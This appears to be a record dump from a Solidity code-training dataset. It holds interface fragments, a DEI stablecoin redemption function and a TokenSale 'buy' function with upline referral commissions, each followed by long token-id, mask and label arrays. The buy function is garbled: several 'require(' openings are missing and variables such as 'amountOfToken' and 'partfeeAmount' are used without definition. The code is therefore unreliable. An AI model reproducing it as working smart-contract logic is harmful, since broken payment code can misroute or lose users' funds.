* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
struct SchnorrSign {
uint256 signature;
address owner;
address nonce;
}
interface IMuonV02 {
function verify(
bytes calldata reqId,
uint256 hash,
SchnorrSign[] calldata _sigs
) external returns (bool);
}
|
Redeem DEI for DEUS. 0% collateral-backed
|
function redeemAlgorithmicDEI(uint256 deiAmount) external notRedeemPaused {
require(
IDEI(dei).global_collateral_ratio() == 0,
"DEIPool: INVALID_COLLATERAL_RATIO"
);
uint256 deusDollarAmount = (deiAmount * (SCALE - redemptionFee)) /
(PRICE_PRECISION);
redeemPositions[msg.sender].push(
RedeemPosition({
amount: deusDollarAmount,
timestamp: block.timestamp
})
);
daoShare += (deiAmount * redemptionFee) / SCALE;
IDEI(dei).pool_burn_from(msg.sender, deiAmount);
}
| 9,929,599 |
[
1,
4625,
348,
7953,
560,
30,
225,
868,
24903,
2030,
45,
364,
2030,
3378,
18,
374,
9,
4508,
2045,
287,
17,
823,
329,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
283,
24903,
6801,
335,
1639,
45,
12,
11890,
5034,
443,
77,
6275,
13,
3903,
486,
426,
24903,
28590,
288,
203,
3639,
2583,
12,
203,
5411,
1599,
41,
45,
12,
323,
77,
2934,
6347,
67,
12910,
2045,
287,
67,
9847,
1435,
422,
374,
16,
203,
5411,
315,
1639,
2579,
1371,
30,
10071,
67,
4935,
12190,
654,
1013,
67,
54,
789,
4294,
6,
203,
3639,
11272,
203,
203,
3639,
2254,
5034,
443,
407,
40,
25442,
6275,
273,
261,
323,
77,
6275,
380,
261,
19378,
300,
283,
19117,
375,
14667,
3719,
342,
203,
5411,
261,
7698,
1441,
67,
3670,
26913,
1769,
203,
3639,
283,
24903,
11024,
63,
3576,
18,
15330,
8009,
6206,
12,
203,
5411,
868,
24903,
2555,
12590,
203,
7734,
3844,
30,
443,
407,
40,
25442,
6275,
16,
203,
7734,
2858,
30,
1203,
18,
5508,
203,
5411,
289,
13,
203,
3639,
11272,
203,
3639,
15229,
9535,
1011,
261,
323,
77,
6275,
380,
283,
19117,
375,
14667,
13,
342,
25844,
31,
203,
3639,
1599,
41,
45,
12,
323,
77,
2934,
6011,
67,
70,
321,
67,
2080,
12,
3576,
18,
15330,
16,
443,
77,
6275,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x2dB3C430D7cA1A372c0Fe1994F3d82715b2B10A7/sources/project_/contracts/TokenSale.sol
|
@notice Explain to an end user what this does @dev Explain to a developer any extra details @param amount of token0(ico) sender like pay @return amount of token transfered to sender 8. update invester ( deposit_amount , deposit_time) add to index
|
function buy(uint256 amount, uint256 upline) public returns (uint256) {
require(isActiveBuy, "TokenSale: active buy is disable");
uint256 paidFee = 0;
address invester = msg.sender;
address beneficiary = address(this);
address _up;
if (investers[invester].join_time > 0) {
_up = investers[invester].upline;
_up = getUserAddress(upline);
}
token1.balanceOf(invester) >= amount,
"TokenSale: USD balance is low"
);
token0.balanceOf(beneficiary) >= amountOfToken,
"TokenSale: contract balance is low"
);
uint256 directAmount = amount.mul(DirectCommission).div(1000);
if (investers[_up].join_time > 0) {
investers[_up].bonuse += directAmount;
if (_up != address(0)) {
paidFee +=directAmount;
token1.transfer(_up, directAmount);
}
}
paidFee += partfeeAmount;
paidFee += partfeeAmount.mul(2);
uint256 remainAmount = amount.sub(paidFee);
token1.transfer(
marketing,
remainAmount.mul(marketingPercent).div(1000)
);
token1.transfer(expenses, remainAmount.mul(expensesPercent).div(1000));
if (investers[invester].join_time == 0) {
investers[invester].upline = _up;
investers[invester].id = investerId++;
investers[invester].join_time = block.timestamp;
investers[_up].structures++;
userIndexModel memory idx = userIndexModel(
investers[invester].id,
invester
);
users.push(idx);
}
investers[invester].lock_time = block.timestamp;
investers[invester].total_buy += (amount).sub(partfeeAmount.mul(6));
totalBuy += amountOfToken;
return amountOfToken;
}
| 860,068 |
[
1,
4625,
348,
7953,
560,
30,
225,
632,
20392,
1312,
7446,
358,
392,
679,
729,
4121,
333,
1552,
632,
5206,
1312,
7446,
358,
279,
8751,
1281,
2870,
3189,
632,
891,
3844,
434,
1147,
20,
12,
10764,
13,
5793,
3007,
8843,
632,
2463,
3844,
434,
1147,
7412,
329,
358,
5793,
1725,
18,
1089,
2198,
7654,
261,
443,
1724,
67,
8949,
269,
443,
1724,
67,
957,
13,
527,
358,
770,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
30143,
12,
11890,
5034,
3844,
16,
2254,
5034,
582,
412,
558,
13,
1071,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
291,
3896,
38,
9835,
16,
315,
1345,
30746,
30,
2695,
30143,
353,
4056,
8863,
203,
203,
3639,
2254,
5034,
30591,
14667,
273,
374,
31,
203,
3639,
1758,
2198,
7654,
273,
1234,
18,
15330,
31,
203,
3639,
1758,
27641,
74,
14463,
814,
273,
1758,
12,
2211,
1769,
203,
3639,
1758,
389,
416,
31,
203,
203,
3639,
309,
261,
267,
3324,
5432,
63,
267,
3324,
387,
8009,
5701,
67,
957,
405,
374,
13,
288,
203,
5411,
389,
416,
273,
2198,
281,
5432,
63,
267,
3324,
387,
8009,
89,
412,
558,
31,
203,
5411,
389,
416,
273,
4735,
1887,
12,
89,
412,
558,
1769,
203,
3639,
289,
203,
203,
203,
5411,
1147,
21,
18,
12296,
951,
12,
267,
3324,
387,
13,
1545,
3844,
16,
203,
5411,
315,
1345,
30746,
30,
587,
9903,
11013,
353,
4587,
6,
203,
3639,
11272,
203,
203,
5411,
1147,
20,
18,
12296,
951,
12,
70,
4009,
74,
14463,
814,
13,
1545,
3844,
951,
1345,
16,
203,
5411,
315,
1345,
30746,
30,
6835,
11013,
353,
4587,
6,
203,
3639,
11272,
203,
203,
203,
3639,
2254,
5034,
2657,
6275,
273,
3844,
18,
16411,
12,
5368,
799,
3951,
2934,
2892,
12,
18088,
1769,
203,
203,
3639,
309,
261,
267,
3324,
5432,
63,
67,
416,
8009,
5701,
67,
957,
405,
374,
13,
288,
203,
5411,
2198,
281,
5432,
63,
67,
416,
8009,
18688,
1202,
1011,
2657,
6275,
31,
203,
5411,
309,
261,
67,
416,
480,
1758,
12,
20,
3719,
288,
203,
7734,
30591,
14667,
1011,
7205,
6275,
31,
203,
7734,
1147,
21,
18,
13866,
24899,
416,
16,
2657,
6275,
1769,
203,
5411,
289,
203,
3639,
289,
203,
203,
3639,
30591,
14667,
1011,
1087,
21386,
6275,
31,
203,
203,
3639,
30591,
14667,
1011,
1087,
21386,
6275,
18,
16411,
12,
22,
1769,
203,
203,
3639,
2254,
5034,
7232,
6275,
273,
3844,
18,
1717,
12,
29434,
14667,
1769,
203,
203,
3639,
1147,
21,
18,
13866,
12,
203,
5411,
13667,
310,
16,
203,
5411,
7232,
6275,
18,
16411,
12,
3355,
21747,
8410,
2934,
2892,
12,
18088,
13,
203,
3639,
11272,
203,
3639,
1147,
21,
18,
13866,
12,
2749,
13907,
16,
7232,
6275,
18,
16411,
12,
2749,
13907,
8410,
2934,
2892,
12,
18088,
10019,
203,
203,
3639,
309,
261,
267,
3324,
5432,
63,
267,
3324,
387,
8009,
5701,
67,
957,
422,
374,
13,
288,
203,
5411,
2198,
281,
5432,
63,
267,
3324,
387,
8009,
89,
412,
558,
273,
389,
416,
31,
203,
5411,
2198,
281,
5432,
63,
267,
3324,
387,
8009,
350,
273,
2198,
7654,
548,
9904,
31,
203,
5411,
2198,
281,
5432,
63,
267,
3324,
387,
8009,
5701,
67,
957,
273,
1203,
18,
5508,
31,
203,
5411,
2198,
281,
5432,
63,
67,
416,
8009,
27979,
9904,
31,
203,
203,
5411,
729,
1016,
1488,
3778,
2067,
273,
729,
1016,
1488,
12,
203,
7734,
2198,
281,
5432,
63,
267,
3324,
387,
8009,
350,
16,
203,
7734,
2198,
7654,
203,
5411,
11272,
203,
203,
5411,
3677,
18,
6206,
12,
3465,
1769,
203,
3639,
289,
203,
203,
3639,
2198,
281,
5432,
63,
267,
3324,
387,
8009,
739,
67,
957,
273,
1203,
18,
5508,
31,
203,
3639,
2198,
281,
5432,
63,
267,
3324,
387,
8009,
4963,
67,
70,
9835,
1011,
261,
8949,
2934,
1717,
12,
2680,
21386,
6275,
18,
16411,
12,
26,
10019,
203,
203,
3639,
2078,
38,
9835,
1011,
3844,
951,
1345,
31,
203,
203,
203,
3639,
327,
3844,
951,
1345,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
